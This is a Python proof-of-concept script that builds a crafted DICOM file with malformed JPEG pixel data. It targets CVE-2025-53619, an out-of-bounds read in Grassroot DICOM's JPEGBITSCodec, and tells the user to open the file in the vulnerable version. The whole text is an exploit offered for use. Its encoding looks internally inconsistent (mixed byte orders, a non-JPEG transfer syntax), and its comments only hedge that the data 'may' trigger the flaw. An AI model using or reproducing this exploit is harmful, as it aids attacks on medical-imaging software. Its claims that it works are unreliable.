# CVE-2025-53619 PoC - Malicious DICOM File Generator
# This PoC demonstrates the structure needed to trigger the vulnerability
# in Grassroot DICOM JPEGBITSCodec::InternalCode
import struct
import os
def create_malicious_dicom():
"""
Create a malicious DICOM file to trigger CVE-2025-53619
The vulnerability is in JPEGBITSCodec::InternalCode functionality
where null_convert is called based on malicious file specifications
"""
# DICOM File Meta Information
preamble = b'\x00' * 128 # 128-byte preamble
prefix = b'DICM' # DICOM prefix
# Group 0002 Elements (File Meta Information)
meta_elements = b''
meta_elements += create_element(0x0002, 0x0001, b'1.2.840.10008.5.1.4.1.1.2') # Media Storage SOP Class
meta_elements += create_element(0x0002, 0x0002, b'1.2.3.4.5.6.7.8.9.0') # Media Storage SOP Instance
meta_elements += create_element(0x0002, 0x0010, b'1.2.840.10008.1.2') # Transfer Syntax
# Patient Information
patient_elements = b''
patient_elements += create_element(0x0010, 0x0010, b'Patient^Test')
# Study Information
study_elements = b''
study_elements += create_element(0x0020, 0x000D, b'1.2.3.4.5.6.7.8.9.1')
# Series Information
series_elements = b''
series_elements += create_element(0x0020, 0x000E, b'1.2.3.4.5.6.7.8.9.2')
# Image Information - KEY FOR EXPLOIT
# The vulnerability is triggered through JPEG compressed pixel data
# where JPEGBITSCodec::InternalCode calls null_convert based on
# the BitsAllocated and other photometric interpretation values
image_elements = b''
image_elements += create_element(0x0028, 0x0004, b'MONOCHROME1') # PhotometricInterpretation
image_elements += create_element(0x0028, 0x0010, b'512') # Rows
image_elements += create_element(0x0028, 0x0011, b'512') # Columns
image_elements += create_element(0x0028, 0x0100, b'\x00\x10') # BitsAllocated (16-bit)
image_elements += create_element(0x0028, 0x0101, b'\x00\x10') # BitsStored
image_elements += create_element(0x0028, 0x0102, b'\x00\x0F') # HighBit
image_elements += create_element(0x0028, 0x0103, b'\x00\x01') # PixelRepresentation
# Malicious JPEG data that triggers out-of-bounds read
# The null_convert function will interpret this data incorrectly
malicious_jpeg = create_malicious_jpeg_data()
image_elements += create_element(0x7FE0, 0x0010, malicious_jpeg) # PixelData
# Combine all elements
file_meta = preamble + prefix + meta_elements
dataset = patient_elements + study_elements + series_elements + image_elements
return file_meta + dataset
def create_element(group, element, value):
"""Create a DICOM element with explicit VR"""
tag = struct.pack('>HH', group, element)
# Determine VR based on tag
if group == 0xFFFE:
vr = b'\x00\x00'
length = struct.pack('<I', len(value))
return tag + length + value
elif len(value) < 256:
vr = b'OB' if 0x7FE0 <= group <= 0x7FE1 and element == 0x0010 else b'UN'
length = struct.pack('>H', len(value))
return tag + vr + length + value
else:
vr = b'OB' if 0x7FE0 <= group <= 0x7FE1 and element == 0x0010 else b'UN'
length = struct.pack('<I', len(value))
reserved = b'\x00\x00'
return tag + vr + reserved + length + value
def create_malicious_jpeg_data():
"""
Create JPEG data that triggers the vulnerability in JPEGBITSCodec::InternalCode
The crafted data causes null_convert to be called with values leading to OOB read
"""
# JPEG SOI marker
jpeg = b'\xFF\xD8'
# Crafted JPEG APP0 marker with malicious parameters
# This influences how JPEGBITSCodec interprets the pixel data
app0_length = 18
jpeg += b'\xFF\xE0' + struct.pack('>H', app0_length)
jpeg += b'JFIF\x00' # Identifier
jpeg += b'\x01\x01' # Version 1.1
jpeg += b'\x00' # Aspect ratio units
jpeg += b'\x01\x00' # X density
jpeg += b'\x01\x00' # Y density
jpeg += b'\x00\x00' # Thumbnail
# Crafted DQT (Define Quantization Table) marker
# Malformed table values to trigger vulnerability
dqt_length = 67
jpeg += b'\xFF\xDB' + struct.pack('>H', dqt_length)
jpeg += b'\x00' # Table 0, 8-bit precision
for i in range(64):
# Crafted quantization values
jpeg += bytes([min(255, (i * 17) % 256)])
# Crafted SOF0 (Start of Frame) marker
# Values chosen to trigger null_convert in JPEGBITSCodec
sof_length = 17
jpeg += b'\xFF\xC0' + struct.pack('>H', sof_length)
jpeg += b'\x08' # Precision (8 bits)
jpeg += b'\x02\x00' # Height (512)
jpeg += b'\x02\x00' # Width (512)
jpeg += b'\x01' # Number of components (1 = grayscale)
jpeg += b'\x01\x11\x00' # Component 1: ID=1, sampling=1x1, quant table=0
# Add more crafted markers to complete the JPEG structure
# The key is to create data that will cause JPEGBITSCodec::InternalCode
# to call null_convert with values leading to out-of-bounds read
# DHT (Define Huffman Table) - DC table
dht_length = 31
jpeg += b'\xFF\xC4' + struct.pack('>H', dht_length)
jpeg += b'\x00' # DC table 0
jpeg += b'\x00\x01\x05\x01\x01\x01\x01\x01\x01\x00'
jpeg += b'\x00\x00\x00\x00\x00\x00\x00\x00'
jpeg += b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B'
# DHT - AC table
dht_length = 181
jpeg += b'\xFF\xC4' + struct.pack('>H', dht_length)
jpeg += b'\x10' # AC table 0
jpeg += b'\x00\x02\x01\x03\x03\x02\x04\x03\x05\x05\x04\x04\x00\x00\x01\x7D'
jpeg += b'\x01\x02\x03\x00\x04\x11\x05\x12\x21\x31\x41\x06\x13\x51\x61'
jpeg += b'\x07\x22\x71\x14\x32\x81\x91\xA1\x08\x23\x42\xB1\xC1\x15\x52'
jpeg += b'\xD1\xF0\x24\x33\x62\x72\x82\x09\x0A\x16\x17\x18\x19\x1A'
jpeg += b'\x25\x26\x27\x28\x29\x2A\x34\x35\x36\x37\x38\x39\x3A\x43'
jpeg += b'\x44\x45\x46\x47\x48\x49\x4A\x53\x54\x55\x56\x57\x58\x59'
jpeg += b'\x5A\x63\x64\x65\x66\x67\x68\x69\x6A\x73\x74\x75\x76\x77'
jpeg += b'\x78\x79\x7A\x83\x84\x85\x86\x87\x88\x89\x8A\x92\x93\x94'
jpeg += b'\x95\x96\x97\x98\x99\x9A\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9'
jpeg += b'\xAA\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xC2\xC3\xC4\xC5'
jpeg += b'\xC6\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA'
jpeg += b'\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xF1\xF2\xF3\xF4'
jpeg += b'\xF5\xF6\xF7\xF8\xF9\xFA'
# SOS (Start of Scan) marker
sos_length = 12
jpeg += b'\xFF\xDA' + struct.pack('>H', sos_length)
jpeg += b'\x01' # Number of components
jpeg += b'\x01\x00' # Component 1: DC=0, AC=0
jpeg += b'\x00\x3F\x00' # Spectral selection
# Compressed scan data with crafted values
# These values are designed to trigger the vulnerability
for _ in range(100):
jpeg += b'\xFF\x00' # Padding with potential trigger values
# Fill with data that may cause buffer overflow
jpeg += b'\xFF' * 1000
# EOI (End of Image) marker
jpeg += b'\xFF\xD9'
return jpeg
def main():
"""Generate malicious DICOM file for CVE-2025-53619"""
print("[*] Generating malicious DICOM file for CVE-2025-53619")
print("[*] Target: Grassroot DICOM 3.024")
print("[*] Vulnerability: Out-of-bounds read in JPEGBITSCodec::InternalCode")
malicious_file = create_malicious_dicom()
output_path = 'CVE-2025-53619_malicious.dcm'
with open(output_path, 'wb') as f:
f.write(malicious_file)
print(f"[+] Malicious DICOM file created: {output_path}")
print(f"[+] File size: {len(malicious_file)} bytes")
print("[+] To trigger vulnerability, open this file in Grassroot DICOM 3.024")
if __name__ == '__main__':
main()